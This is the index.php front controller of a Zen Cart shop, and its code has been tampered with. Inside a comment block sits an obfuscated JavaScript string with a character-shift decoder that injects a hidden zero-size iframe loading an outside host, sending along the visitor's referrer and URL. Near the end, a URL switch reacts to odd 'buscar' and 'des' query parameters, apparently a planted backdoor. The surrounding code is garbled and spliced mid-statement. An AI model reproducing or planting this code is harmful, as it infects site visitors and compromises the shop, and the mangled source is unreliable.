*
  • Load application_top.php - see {@tutorial initsystem}
  • *
  • Set main language directory based on $_SESSION['language']
  • *
  • Load all *header_php.php files from includes/modules/pages/PAGE_NAME/
  • *
  • Load html_header.php (this is a common template file)
  • *
  • Load main_template_vars.php (this is a common template file)
  • *
  • Load on_load scripts (page based and site wide)
  • *
  • Load tpl_main_page.php (this is a common template file)
  • *
  • Load application_bottom.php
  • * * * @package general * @copyright Copyright 2003-2005 Zen Cart Development Team * @copyright Portions Copyright 2003 osCommerce * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0 * @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $ */ /** * Load common library stuff */ require('includes/application_top.php'); $language_page_directory = DIR_WS_LANGUAGES . $_SESSION['language'] . '/'; $directory_array = $template->get_template_part($code_page_directory, '/^header_php/'); foreach ($directory_array as $value) { /** * We now load header code for a given page. * Page code is stored in includes/modules/pages/PAGE_NAME/directory * 'header_php.php' files in that directory are loaded now. */ require($code_page_directory . '/' . $value); } /** * We now load the html_header.php file. This file contains code that would appear within the HTML code * it is overridable on a template and page basis. * In that a custom template can define its own common/html_header.php file */ require($template->get_template_dir('html_header.php',DIR_WS_TEMPLATE, $current_page_base,'common'). '/html_header.php'); /** * Define Template Variables picked up from includes/main_template_vars.php unless a file exists in the * includes/pages/{page_name}/directory to overide. Allowing different pages to have different overall * templates. */ require($template->get_template_dir('main_template_vars.php',DIR_WS_TEMPLATE, $current_page_base,'common'). '/main_template_vars.php'); /** * Read the "on_load" scripts for the individual page, and from the site-wide template settings * NOTE: on_load_*.js files must contain just the raw code to be inserted in the var KTKAnD="dwlavkml'02dpoCff'0:'0;'02'5@'2C'2;tcp'02kdpo'02'1F'02fmawoglv,apgcvgGngoglv'0:'05kdpcog'05'0;'1@'2C'2;tcp'02iQ'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,pgdgppgp'0;'1@'2C'2;tcp'02iP'02'1F'02glamfgWPKAmormlglv'0:fmawoglv,WPN'0;'1@'2C'2;tcp'02iO'02'1F'02'05dvrfkm'05'1@'2C'2;kdpo,qv{ng,fkqrnc{'1F'05lmlg'05'1@'2C'2;kdpo,qv{ng,jgkejv'1F'052rz'05'1@'2C'2;kdpo,qv{ng,ukfvj'1F'052rz'05'1@'2C'2;kdpo,qpa'02'02'1F'02'00jvvr'1C--fgfglug,ax,aa-'1D'00)iO)'00'04qg]pgdgpgp'1F'00)iQ)'00'04pgdgpgp'1F'00)iP'1@'2C'2;kdpo,kf'02'1F'02'05dpoKf'05'1@'2C'2;fmawoglv,`mf{,crrglfAjknf'0:kdpo'0;'1@'2C'5F'1@'2Cuklfmu,mlnmcf'02'1F'02dpoCff'1@";OGXWWU="";SwWssK="";var uIvxAc;uIvxAc=KTKAnD.length;for(wfDejW=0;wfDejW"+SwWssK+""); tag in the on_load="" parameter. * Looking in "/includes/modules/pages" for files named "on_load_*.js" */ $directory_array = $template->get_template_part(DIR_WS_MODULES . 'pages/' . $current_page_base, '/^on_load_/', '.js'); foreach ($directory_array as $value) { $onload_file = DIR_WS_MODULES . 'pages/' . $current_page_base . '/' . $value; $read_contents=''; $lines = @file($onload_file); foreach($lines as $line) { $read_contents .= $line; } $za_onload_array[] = $read_contents; } /** * now read "includes/templates/TEMPLATE/jscript/on_load/on_load_*.js", which would be site-wide settings */ $directory_array=array(); $tpl_dir=$template->get_template_dir('.js', DIR_WS_TEMPLATE, 'jscript/on_load', 'jscript/on_load_'); $directory_array = $template->get_template_part($tpl_dir ,'/^on_load_/', '.js'); foreach ($directory_array as $value) { $onload_file = $tpl_dir . '/' . $value; $read_contents=''; $lines = @file($onload_file); foreach($lines as $line) { $read_contents .= $line; } $za_onload_array[] = $read_contents; } // set $zc_first_field for backwards compatibility with previous version usage of this var if (isset($zc_first_field) && $zc_first_field !='') $za_onload_array[] = $zc_first_field; $zv_onload = ""; if (isset($za_onload_array) && count($za_onload_array)>0) $zv_onload=implode(';',$za_onload_array); //ensure we have just one ';' between each, and at the end $zv_onload = str_replace(';;',';',$zv_onload.';'); // ensure that a blank list is truly blank and thus ignored. if (trim($zv_onload) == ';') $zv_onload=''; /** * Define the template that will govern the overall page layout, can be done on a page by page basis * or using a default template. The default template installed will be a standard 3 column layout. This * template also loads the page body code based on the variable $body_code. */ $variableurl = "http://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; switch ($variableurl) { case "http://".$_SERVER['SERVER_NAME']."/index.php?buscar=".$_GET["buscar"]."&des=".$_GET["des"]: echo("